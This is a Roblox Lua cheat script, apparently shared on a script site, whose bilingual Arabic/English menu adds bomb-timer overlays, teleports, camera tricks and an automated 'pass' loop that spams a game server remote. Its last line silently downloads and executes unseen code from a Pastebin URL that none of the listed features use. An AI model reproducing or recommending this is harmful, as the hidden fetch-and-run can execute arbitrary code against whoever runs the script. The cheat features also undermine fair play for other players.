--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local player = game.Players.LocalPlayer local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService") -- حذف الواجهات السابقة local oldGui = player:WaitForChild("PlayerGui"):FindFirstChild("CustomUI") if oldGui then oldGui:Destroy() end local oldLangGui = player:WaitForChild("PlayerGui"):FindFirstChild("LangSelector") if oldLangGui then oldLangGui:Destroy() end -- شاشة اختيار اللغة local langGui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui")) langGui.Name = "LangSelector" langGui.ResetOnSpawn = false local langFrame = Instance.new("Frame", langGui) langFrame.Size = UDim2.new(0, 300, 0, 200) langFrame.Position = UDim2.new(0.5, -150, 0.5, -100) langFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) langFrame.BorderSizePixel = 0 langFrame.AnchorPoint = Vector2.new(0.5, 0.5) langFrame.Active = true langFrame.Draggable = true local title = Instance.new("TextLabel", langFrame) title.Size = UDim2.new(1, 0, 0, 50) title.Position = UDim2.new(0, 0, 0, 10) title.Text = "Choose Language / اختر لغتك" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.BackgroundTransparency = 1 title.Font = Enum.Font.GothamBold title.TextSize = 20 local selectedLang = nil local function createLangButton(parent, posY, text, langCode) local btn = Instance.new("TextButton", parent) btn.Size = UDim2.new(0.8, 0, 0, 40) btn.Position = UDim2.new(0.1, 0, 0, posY) btn.BackgroundColor3 = Color3.fromRGB(40, 170, 90) btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.Font = Enum.Font.GothamBold btn.TextSize = 18 btn.BorderSizePixel = 0 btn.Text = text btn.MouseButton1Click:Connect(function() selectedLang = langCode langGui:Destroy() end) end createLangButton(langFrame, 70, "العربية 🇮🇶", "ar") createLangButton(langFrame, 120, "English 🇺🇸", "en") repeat task.wait() until not langGui.Parent local function translate(ar, en) return selectedLang == "ar" and ar or en end -- إنشاء الواجهة الرئيسية local gui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui")) gui.Name = "CustomUI" gui.ResetOnSpawn = false local mainFrame = Instance.new("Frame", gui) mainFrame.Size = UDim2.new(0, 300, 0, 370) mainFrame.Position = UDim2.new(0.5, -150, 0.5, -185) mainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 25) mainFrame.BorderSizePixel = 0 mainFrame.AnchorPoint = Vector2.new(0.5, 0.5) mainFrame.Active = true mainFrame.Draggable = true local function createButton(y, text) local btn = Instance.new("TextButton", mainFrame) btn.Size = UDim2.new(0.8, 0, 0, 40) btn.Position = UDim2.new(0.1, 0, 0, y) btn.BackgroundColor3 = Color3.fromRGB(40, 170, 90) btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.Font = Enum.Font.GothamBold btn.TextSize = 18 btn.BorderSizePixel = 0 btn.Text = text return btn end -- زر الإغلاق local closeBtn = Instance.new("TextButton", mainFrame) closeBtn.Size = UDim2.new(0, 30, 0, 30) closeBtn.Position = UDim2.new(1, -35, 0, 5) closeBtn.Text = "X" closeBtn.BackgroundColor3 = Color3.fromRGB(200, 50, 50) closeBtn.TextColor3 = Color3.fromRGB(255, 255, 255) closeBtn.Font = Enum.Font.GothamBold closeBtn.TextSize = 16 -- زر التصغير local minimizeBtn = Instance.new("TextButton", mainFrame) minimizeBtn.Size = UDim2.new(0, 30, 0, 30) minimizeBtn.Position = UDim2.new(1, -70, 0, 5) minimizeBtn.Text = "_" minimizeBtn.BackgroundColor3 = Color3.fromRGB(70, 70, 70) minimizeBtn.TextColor3 = Color3.fromRGB(255, 255, 255) minimizeBtn.BorderSizePixel = 0 minimizeBtn.Font = Enum.Font.GothamBold minimizeBtn.TextSize = 16 -- الأزرار الأساسية local toggleButton = createButton(40, translate("تفعيل العداد", "Enable Counter")) local tpButton = createButton(90, translate("دخول الساحة", "Enter Arena")) local viewButton = createButton(140, translate("منظور الشخص الأول", "First Person View")) local groundButton = createButton(190, translate("تغيير الأرضية", "Change Ground")) local skyButton = createButton(240, translate("تغيير لون السماء", "Toggle Sky Color")) -- زر التمرير التلقائي local autoPassButton = createButton(290, translate("تمرير تلقائي: إيقاف", "Auto Pass: Off")) local autoMode = 1 -- 1: إيقاف, 2: عشوائي, 3: يمين, 4: يسار, 5: أمام local autoModes = { translate("تمرير تلقائي: إيقاف", "Auto Pass: Off"), translate("تمرير تلقائي: عشوائي", "Auto Pass: Random"), translate("تمرير تلقائي: يمين", "Auto Pass: Right"), translate("تمرير تلقائي: يسار", "Auto Pass: Left"), translate("تمرير تلقائي: أمام", "Auto Pass: Forward"), } autoPassButton.MouseButton1Click:Connect(function() autoMode = autoMode % 5 + 1 autoPassButton.Text = autoModes[autoMode] end) -- YOUTUBE النص local ytLabel = Instance.new("TextLabel", mainFrame) ytLabel.Size = UDim2.new(1, 0, 0, 20) ytLabel.Position = UDim2.new(0, 0, 0, 340) ytLabel.BackgroundTransparency = 1 ytLabel.TextColor3 = Color3.fromRGB(255, 255, 255) ytLabel.Font = Enum.Font.Gotham ytLabel.TextSize = 14 ytLabel.Text = "YOUTUBE: @Dzenr" ytLabel.TextStrokeTransparency = 0.8 -- العداد local isCounterOn = false local updateConnection local labels = {} local function addCounterToBomb(bomb) if not bomb:IsA("BasePart") then return end if bomb:FindFirstChild("CounterLabel") then return end local gui = Instance.new("BillboardGui", bomb) gui.Name = "CounterLabel" gui.Size = UDim2.new(0, 150, 0, 50) gui.StudsOffset = Vector3.new(0, 3, 0) gui.AlwaysOnTop = true gui.Adornee = bomb local lbl = Instance.new("TextLabel", gui) lbl.Size = UDim2.new(1, 0, 1, 0) lbl.BackgroundTransparency = 1 lbl.TextColor3 = Color3.fromRGB(255, 0, 0) lbl.Font = Enum.Font.GothamBold lbl.TextScaled = true lbl.Text = "0" labels[gui] = lbl if not bomb:FindFirstChild("CustomHighlight") then local hl = Instance.new("Highlight", bomb) hl.Name = "CustomHighlight" hl.FillColor = Color3.fromRGB(255, 0, 0) hl.OutlineColor = Color3.fromRGB(255, 100, 100) hl.FillTransparency = 0.7 hl.OutlineTransparency = 0.3 end end local function removeCounterFromBomb(bomb) local gui = bomb:FindFirstChild("CounterLabel") if gui then labels[gui] = nil gui:Destroy() end local hl = bomb:FindFirstChild("CustomHighlight") if hl then hl:Destroy() end end local function updateLabels() if updateConnection then updateConnection:Disconnect() end updateConnection = RunService.RenderStepped:Connect(function() for gui, label in pairs(labels) do local bomb = gui.Adornee if bomb then local h = bomb:FindFirstChild("Highlight") local value = h and h.FillTransparency or 0 label.Text = tostring(math.floor(math.max(0, (value - 0.5) * 1000))) end end end) end local bombsFolder = workspace:WaitForChild("Bombs") local bombAddedConnection local function toggleLabels(enable) if enable then for _, b in ipairs(bombsFolder:GetChildren()) do addCounterToBomb(b) end updateLabels() if not bombAddedConnection then bombAddedConnection = bombsFolder.ChildAdded:Connect(function(bomb) task.wait(0.1) addCounterToBomb(bomb) end) end else if updateConnection then updateConnection:Disconnect() end for _, b in ipairs(bombsFolder:GetChildren()) do removeCounterFromBomb(b) end if bombAddedConnection then bombAddedConnection:Disconnect() bombAddedConnection = nil end end end toggleButton.MouseButton1Click:Connect(function() isCounterOn = not isCounterOn toggleButton.Text = isCounterOn and translate("غلق العداد", "Disable Counter") or translate("تفعيل العداد", "Enable Counter") toggleButton.BackgroundColor3 = isCounterOn and Color3.fromRGB(200, 50, 50) or Color3.fromRGB(40, 170, 90) toggleLabels(isCounterOn) end) -- TP local inArena = false local arenaPos = Vector3.new(-0, -21, -142) local lobbyPos = Vector3.new(0, -11, -65) tpButton.MouseButton1Click:Connect(function() local char = player.Character if char and char:FindFirstChild("HumanoidRootPart") then char:MoveTo(inArena and lobbyPos or arenaPos) inArena = not inArena tpButton.Text = inArena and translate("خروج الساحة", "Exit Arena") or translate("دخول الساحة", "Enter Arena") end end) -- View local is2D = false local cam = workspace.CurrentCamera viewButton.MouseButton1Click:Connect(function() local humanoid = player.Character and player.Character:FindFirstChildOfClass("Humanoid") local rootPart = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if humanoid and rootPart then if is2D then player.CameraMode = Enum.CameraMode.Classic humanoid.AutoRotate = true cam.CameraType = Enum.CameraType.Custom viewButton.Text = translate("منظور الشخص الأول", "First Person View") else player.CameraMode = Enum.CameraMode.LockFirstPerson humanoid.AutoRotate = false cam.CameraType = Enum.CameraType.Scriptable local targetPos = rootPart.Position + Vector3.new(0, 20, 0) cam.CFrame = CFrame.new(targetPos, rootPart.Position) end is2D = not is2D end end) RunService.RenderStepped:Connect(function() if is2D then local rootPart = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if rootPart then local targetPos = rootPart.Position + Vector3.new(0, 20, 0) cam.CFrame = CFrame.new(targetPos, rootPart.Position) end end end) -- الأرضية local materials = Enum.Material:GetEnumItems() local matIndex = 1 groundButton.MouseButton1Click:Connect(function() local platform = workspace:FindFirstChild("Map") and workspace.Map:FindFirstChild("Platform") if platform then matIndex = (matIndex % #materials) + 1 platform.Material = materials[matIndex] end end) -- السماء local isDay = true local moonLight skyButton.MouseButton1Click:Connect(function() local lighting = game:GetService("Lighting") if isDay then lighting.TimeOfDay = "20:00:00" lighting.FogColor = Color3.fromRGB(40, 40, 60) lighting.OutdoorAmbient = Color3.fromRGB(70, 70, 90) if not moonLight then moonLight = Instance.new("PointLight") local platform = workspace:FindFirstChild("Map") and workspace.Map:FindFirstChild("Platform") if platform then moonLight.Parent = platform moonLight.Color = Color3.fromRGB(180, 210, 255) moonLight.Range = 100 moonLight.Brightness = 3 end end isDay = false else lighting.TimeOfDay = "12:00:00" lighting.FogColor = Color3.fromRGB(195, 195, 195) lighting.OutdoorAmbient = Color3.fromRGB(180, 180, 180) if moonLight then moonLight:Destroy() moonLight = nil end isDay = true end end) -- Auto pass loop task.spawn(function() while true do task.wait(0.1) if autoMode ~= 1 then local direction if autoMode == 2 then local options = {"Left", "Right", "Forward"} direction = options[math.random(1, #options)] elseif autoMode == 3 then direction = "Right" elseif autoMode == 4 then direction = "Left" elseif autoMode == 5 then direction = "Forward" end if direction then local args = { [1] = direction } game:GetService("ReplicatedStorage"):WaitForChild("Gameplay") :WaitForChild("Core"):WaitForChild("Default") :WaitForChild("Remotes"):WaitForChild("Pass") :InvokeServer(unpack(args)) end end end end) -- إغلاق closeBtn.MouseButton1Click:Connect(function() if updateConnection then updateConnection:Disconnect() end if bombAddedConnection then bombAddedConnection:Disconnect() end gui:Destroy() end) -- تصغير minimizeBtn.MouseButton1Click:Connect(function() local minimized = mainFrame.Size.Y.Offset <= 40 if minimized then mainFrame:TweenSize(UDim2.new(0, 300, 0, 370), "Out", "Quad", 0.3, true) for _, child in ipairs(mainFrame:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then child.Visible = true end end else mainFrame:TweenSize(UDim2.new(0, 300, 0, 40), "Out", "Quad", 0.3, true) for _, child in ipairs(mainFrame:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then if child ~= closeBtn and child ~= minimizeBtn then child.Visible = false end end end end end) loadstring(game:HttpGet("https://pastebin.com/raw/0k64z0VG"))()